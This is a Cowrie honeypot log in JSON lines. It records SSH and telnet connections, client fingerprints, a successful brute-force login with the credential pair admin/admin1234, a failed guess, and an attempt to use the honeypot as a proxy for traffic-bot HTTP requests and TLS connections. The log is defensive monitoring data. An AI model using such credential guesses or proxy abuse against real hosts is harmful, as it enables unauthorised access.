{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":50944,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9dd6c41b0bc","protocol":"ssh","message":"New connection: 123.27.168.40:50944 (10.17.0.5:22) [session: c9dd6c41b0bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:01.271207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:01.276112Z","src_ip":"123.27.168.40","session":"c9dd6c41b0bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:01.529874Z","src_ip":"123.27.168.40","session":"c9dd6c41b0bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.3","message":"Connection lost after 10.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:02.164833Z","src_ip":"91.92.40.36","session":"2e3b2bc1e55b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:02.628877Z","src_ip":"123.27.168.40","session":"c9dd6c41b0bc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:03.002618Z","session":"c9dd6c41b0bc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:03.085293Z","session":"c9dd6c41b0bc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:03.574467Z","src_ip":"123.27.168.40","session":"c9dd6c41b0bc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1160\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; MI 9 SE Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36 EdgA/91.0.864.48\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=U3l3YkZITEJGUUhpNDg8cQ%3D%3DzAb1L%2B5kQAyZaXiB2BevLakMxzUHj9WqYee8C00WFkScJWIoO7PeDv7d6Dus2kAnpgn00yaWpmlzG%2FEFgcAfPqLCAg1Pmf9v9j9bXDbFgJ5jq2GvWFqhcV%2F4kvxOsRN7xIFOYbAszeDi%2FToN1BSfA4SgF6k5lwREmSvv47glCWk%2BmL8qXxkU6lzL20Pu%2BnoadIPHLVQfNNQp7qU9eumnxl8N6Ed%2BHy1O4afnHGdCW%2BldKd7be8GTsXhqUl3BDidbGCALOfl0YZJ7i9aL6uERlqXAC6vBMb4NMVy1hzjvlUf8BQkg1Uw5ZaDA9ERfQ%2BXgXIDkw%2Fn96NWhrpPZXey3dVYtAveS9gRV4IrpbAKPcSIyugO6lgbILtQ5OerSRkoYlnldIgumIgqAg8w323V6z5tUgubq3R7QPJ%2FTAxbOteGA94P5kz1lKyTdjR6mE8rxefkzUP04WxZkAYCSC6lOc9EHjTdmL7vhT0XCr0TtBXQz9eahMkGZJ2nrOkql2TUa%2Bqv9mslh28SNDtBN8X2cUbiaw%2FpvD0n3%2BrEx4ZChFHWqu20wVojkn8dXcbc3%2FZepW8gR7IJ0n8ADXwBGwvEUcjFDz%2BGscbn2X6szBX1L40F4Z7yYWaeEhgkRai9O3ZSx69xdNlbhDVlD1sUdJNilJIEGci66dSggbsPmakxyzVHtMcAOFPzG6i4DozRuDFSHRXB45k7pPcU%2F%2FIp21VDHkKnptZ0GudAWRcpxT0v0I2S4AzI33G%2F8bBET36%2BBaBrlWJGdHjWXsCb1yvNDGPWR1BbZJPRl%2BL0TMcFC5JgZcZp99Nx68e5hWKLbryA0gupztQuvbGuWK4QCoPhzZSYYm5C1Jo8rYkjaMh%2FNjkbyNqR1jUBYCbNufFqv89%2FeN%2BUcfsgUWPNy6%2BpD2s2Wc94AvGs79BM0J1tww%2BtoaKWfNpdDdUdzamSVTW3hhQqBsgQNkR61ojnTCDLtRTOmcc3v4HPZ0wioznRT4WC7bd329seJnlN%2F1MZ1tYzF%2FolvG5ChGop%2FmzQZncpw5cxH4KgqM9CD%2BsnUbmU6ZemmiegevXM%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1160\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; MI 9 SE Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36 EdgA/91.0.864.48\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=U3l3YkZITEJGUUhpNDg8cQ%3D%3DzAb1L%2B5kQAyZaXiB2BevLakMxzUHj9WqYee8C00WFkScJWIoO7PeDv7d6Dus2kAnpgn00yaWpmlzG%2FEFgcAfPqLCAg1Pmf9v9j9bXDbFgJ5jq2GvWFqhcV%2F4kvxOsRN7xIFOYbAszeDi%2FToN1BSfA4SgF6k5lwREmSvv47glCWk%2BmL8qXxkU6lzL20Pu%2BnoadIPHLVQfNNQp7qU9eumnxl8N6Ed%2BHy1O4afnHGdCW%2BldKd7be8GTsXhqUl3BDidbGCALOfl0YZJ7i9aL6uERlqXAC6vBMb4NMVy1hzjvlUf8BQkg1Uw5ZaDA9ERfQ%2BXgXIDkw%2Fn96NWhrpPZXey3dVYtAveS9gRV4IrpbAKPcSIyugO6lgbILtQ5OerSRkoYlnldIgumIgqAg8w323V6z5tUgubq3R7QPJ%2FTAxbOteGA94P5kz1lKyTdjR6mE8rxefkzUP04WxZkAYCSC6lOc9EHjTdmL7vhT0XCr0TtBXQz9eahMkGZJ2nrOkql2TUa%2Bqv9mslh28SNDtBN8X2cUbiaw%2FpvD0n3%2BrEx4ZChFHWqu20wVojkn8dXcbc3%2FZepW8gR7IJ0n8ADXwBGwvEUcjFDz%2BGscbn2X6szBX1L40F4Z7yYWaeEhgkRai9O3ZSx69xdNlbhDVlD1sUdJNilJIEGci66dSggbsPmakxyzVHtMcAOFPzG6i4DozRuDFSHRXB45k7pPcU%2F%2FIp21VDHkKnptZ0GudAWRcpxT0v0I2S4AzI33G%2F8bBET36%2BBaBrlWJGdHjWXsCb1yvNDGPWR1BbZJPRl%2BL0TMcFC5JgZcZp99Nx68e5hWKLbryA0gupztQuvbGuWK4QCoPhzZSYYm5C1Jo8rYkjaMh%2FNjkbyNqR1jUBYCbNufFqv89%2FeN%2BUcfsgUWPNy6%2BpD2s2Wc94AvGs79BM0J1tww%2BtoaKWfNpdDdUdzamSVTW3hhQqBsgQNkR61ojnTCDLtRTOmcc3v4HPZ0wioznRT4WC7bd329seJnlN%2F1MZ1tYzF%2FolvG5ChGop%2FmzQZncpw5cxH4KgqM9CD%2BsnUbmU6ZemmiegevXM%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:03.577403Z","src_ip":"123.27.168.40","session":"c9dd6c41b0bc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:03.580810Z","src_ip":"123.27.168.40","session":"c9dd6c41b0bc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x033v\\x9d\\xc6\\xb8\\x95\\xc9\\x95\\xe5\\xbf6\\x9f\\xad\\x9eIu\\xe4\\xa8v&\\xb82EP\\xd4\\x97\\xe2\\xe5\\x85d\\x02\\x12 \"j\\x80\\xf7\\xe8\\x02\\x83\\xfd\\x00\\xd8\\x9f\\x8e\\xce\\xf8\\x06\\x85yh\\x8a\\x8e\\x04\\xff[1\\xfaZ\\xa0n\\xd1y\\x1f6\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc7\\x96`\\x04\\xfd\\x0b\\xaf\\xdb\\x9b\\xc4\\x07\\x18$^k$\\xc7%\\x18#\\xccq\\x89\\xdd\\x8d\\xaf\\x05dU\\x84\\xdcD\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x033v\\x9d\\xc6\\xb8\\x95\\xc9\\x95\\xe5\\xbf6\\x9f\\xad\\x9eIu\\xe4\\xa8v&\\xb82EP\\xd4\\x97\\xe2\\xe5\\x85d\\x02\\x12 \"j\\x80\\xf7\\xe8\\x02\\x83\\xfd\\x00\\xd8\\x9f\\x8e\\xce\\xf8\\x06\\x85yh\\x8a\\x8e\\x04\\xff[1\\xfaZ\\xa0n\\xd1y\\x1f6\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc7\\x96`\\x04\\xfd\\x0b\\xaf\\xdb\\x9b\\xc4\\x07\\x18$^k$\\xc7%\\x18#\\xccq\\x89\\xdd\\x8d\\xaf\\x05dU\\x84\\xdcD\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:03.585805Z","src_ip":"123.27.168.40","session":"c9dd6c41b0bc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:03.844813Z","session":"c9dd6c41b0bc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:04.098378Z","src_ip":"123.27.168.40","session":"c9dd6c41b0bc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x88\\n|[\\xb7\\xb2\\x03\\xc1ybz\\xa7Le\\x19\\xacC\\xa3\\x12\\x03R%_T\\xcaCdhU>\\x15\\xe1 \\'\\xa8\\x82r\\xd9J\\xda\\x94uU;\\xdd1\\xc8\\xa4\\xd16\\xf2\\xe0\\xf1\\'\\xb96d\\x960\\x0f\\xc5\\xb8\\x1ae\\x86\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\x82\\xf3\\xfe\\'\\xaam\\x86eT\\xd2\\xfdp^f@_\\xc7\\xafFP2\\xde^T\\xe7\\x03w\\xaeg\\xf3$\\x1c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x88\\n|[\\xb7\\xb2\\x03\\xc1ybz\\xa7Le\\x19\\xacC\\xa3\\x12\\x03R%_T\\xcaCdhU>\\x15\\xe1 \\'\\xa8\\x82r\\xd9J\\xda\\x94uU;\\xdd1\\xc8\\xa4\\xd16\\xf2\\xe0\\xf1\\'\\xb96d\\x960\\x0f\\xc5\\xb8\\x1ae\\x86\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\x82\\xf3\\xfe\\'\\xaam\\x86eT\\xd2\\xfdp^f@_\\xc7\\xafFP2\\xde^T\\xe7\\x03w\\xaeg\\xf3$\\x1c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:04.101453Z","src_ip":"123.27.168.40","session":"c9dd6c41b0bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"postgres123456789","message":"login attempt [ubuntu/postgres123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:05.108646Z","src_ip":"91.92.40.36","session":"6a65d2b4ee29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:06.111755Z","src_ip":"123.27.168.40","session":"c9dd6c41b0bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:07.141018Z","src_ip":"91.92.40.36","session":"6a65d2b4ee29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":57048,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4678a2cdbb1","protocol":"telnet","message":"New connection: 172.81.62.90:57048 (159.203.135.109:23) [session: d4678a2cdbb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:07.538319Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":18826,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5c65a086b75","protocol":"ssh","message":"New connection: 91.92.40.36:18826 (159.203.135.109:22) [session: a5c65a086b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:08.794876Z"}
